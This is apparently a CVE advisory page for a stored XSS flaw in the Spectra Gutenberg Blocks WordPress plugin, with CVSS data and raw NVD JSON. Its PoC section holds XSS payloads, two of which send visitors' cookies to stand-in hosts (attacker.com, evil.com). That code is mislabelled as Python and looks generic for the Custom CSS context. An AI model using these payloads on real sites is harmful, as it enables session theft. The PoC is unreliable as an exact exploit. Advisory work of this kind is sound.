Security Vulnerability Report
中文
CVE-2025-11162 CVSS 6.4 MEDIUM

CVE-2025-11162

Published: 2025-11-05 05:15:41
Last Modified: 2026-04-15 00:35:42

Description

The Spectra Gutenberg Blocks – Website Builder for the Block Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom CSS in all versions up to, and including, 2.19.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Spectra Gutenberg Blocks (Ultimate Addons for Gutenberg) ≤ 2.19.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// WordPress Contributor权限账户登录后执行 // 在页面编辑器的Custom CSS中注入以下代码: // PoC 1: 基础弹窗测试 <script>alert(document.cookie)</script> // PoC 2: 事件处理器XSS <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> // PoC 3: 持久化Cookie窃取 <script> var img = new Image(); img.src = 'https://evil.com/log?c=' + encodeURIComponent(document.cookie); </script> // 修复后的安全写法示例: // 插件应使用wp_kses()或esc_html()/esc_attr()对用户输入进行过滤和转义 function safe_css_output($css) { return esc_html($css); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11162", "sourceIdentifier": "[email protected]", "published": "2025-11-05T05:15:41.400", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Spectra Gutenberg Blocks – Website Builder for the Block Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom CSS in all versions up to, and including, 2.19.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/tags/2.19.14/classes/class-uagb-loader.php#L522", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/tags/2.19.14/classes/class-uagb-post-assets.php#L1418", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2f077817-704f-4595-bfb1-80234dd23f8d?source=cve", "source": "[email protected]"}]}}